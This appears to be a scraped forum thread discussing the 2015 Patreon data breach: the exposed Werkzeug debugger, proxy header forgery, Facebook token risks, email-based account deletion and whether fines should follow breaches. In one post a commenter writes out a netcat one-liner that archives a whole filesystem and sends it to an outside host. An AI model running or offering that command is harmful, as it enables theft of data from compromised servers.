This is the first time I've been Pwned ( https://haveibeenpwned.com/ ) Does anyone know a responsible way I can check WHICH of my data has leaked short of downloading the entire archive and searching for myself?
Through the API: https://haveibeenpwned.com/api/v2/breachedaccount/foo@bar.co... I also couldn't find the details in the site anywhere.
Gigabytes of user data from hack of Patreon donations site dumped online
121–130 of 151 posts
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#122Apparently they were compromised via a publicly exposed Werkzeug debugger: http://labs.detectify.com/post/130332638391/how-patreon-got-...
At first I was wondering what a demoscene tool had to do with it, before realising "it's not that one":
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#123Apparently they were compromised via a publicly exposed Werkzeug debugger: http://labs.detectify.com/post/130332638391/how-patreon-got-...
The guy who claimed responsibility for this mentioned that they basically had an open root console exposed to the entire web on one of the development servers, and even named a subdomain. Guess this was why.
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#124Earlier quoted context omitted.
> explicitly try to figure out if it's running in production mode Does not help. The cases I saw in the past were people putting Werkzeug's stuff behind ngrok, proxies, nginx in which cases it will all look like local requests.
Not true. For example nginx can use the proxy_pass directive to forward real IP address information and log it
The situation here is that people did not read the docs. Do you think they will start to read the docs for the proxy pass?
Aside of that, you cannot securely detect this because what it actually does is passing in a header which if not reliably set can be forged.
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#125I've never heard of Patreon until now. This might be the most press they've ever gotten. At what point do we start asking questions like, did this company "hack" themselves for the publicity? There is a great moral hazard in providing so much free publicity to companies that get "hacked."
Unlikely, due to the rumored personal information of all the artists being compromised. That's not a rational avenue.
Unless nobody finds out...
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#126Has anyone checked to see if any Facebook access tokens were saved unencrypted in the database? They mention that users who logged in with Facebook instead of username/password would be completely safe, but if access tokens were leaked, then many users could have their Facebook data mined.
Are Facebook access tokens vulnerable to such an attack? If I remember correctly, at least Google tokens wouldn't be: The application receives a token from Google. With that token, a new session token is created. This session token expires and can only be renewed with the application token and the correct redirect URL. If Facebook uses a similar scheme, tokens would be useless without the running application renewing…
Nothing like that happens with Facebook, if I recall correctly. Once you have an access token you're good to go until it expires.
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#127This scares me. I'm the eng lead of a startup that's a bit smaller than Patreon. And hey, we program in Python too.
We're not vulnerable to this particular problem. And I feel pretty confident that both our stage and production environments are well-protected. However, I can't help but wonder if I'm missing something. I'm sure Patreon felt confident a month ago.
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#128Hey, guess what? To delete your account, you have to e-mail delete@patreon.com "from your registered e-mail address". There is no way to do it over a secure connection. What could go wrong?
For anyone that doesn't know, email is not a "secure connection" and the "from" address on an email can be spoofed.
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#129Earlier quoted context omitted.
Depends on the attack. If the key used to encrypt the data is stored on another server and loaded into memory when the application is initialized, then the attackers technically wouldn't be able to get access to that key unless they also hacked the server with the key.
If your entire box running with source is compromised, could you not just edit whichever file pulls the key to also dump it to a file on start .?
In the vast majority of hacks, the attacker doesn't take the time to manually debug where the source code pulls in keys to put an echo/puts/print statement in place, and non-PHP languages in general require a restart of the app server in order to pick up the source change, potentially triggering NOC alerts. I can't remember seeing a hack go any differently than someone running
tar czf - / | nc example.org 1234
Re: Gigabytes of user data from hack of Patreon donations site dumped online
#130That's pretty devastating to anybody who gave up their data to support things they enjoy. I would really like to see services getting hit with massive fines so they actually "take security very seriously" before they get owned. It's far too late to care about it now, there's a lot of compromising data in that leak.
Fines? It would do more damage than good(if there's any good that is). One of the best things about the information age is the ability for anyone to take part in it. You could be selling glow sticks to a guy a thousand miles away from you. If there were fines, it would scare away people with less technical skills who would want to start something new. What we must do is introduce certifications, this would help make…
If you're an inexperienced startup then perhaps you shouldn't be taking risks with my data.
If I bought glowsticks at the mall and they injured me when I used them I would expect consumer protection laws to issue fines to make selling them too risky a venture, why shouldn't I be protected by a similar mechanism for injury caused by leaky data?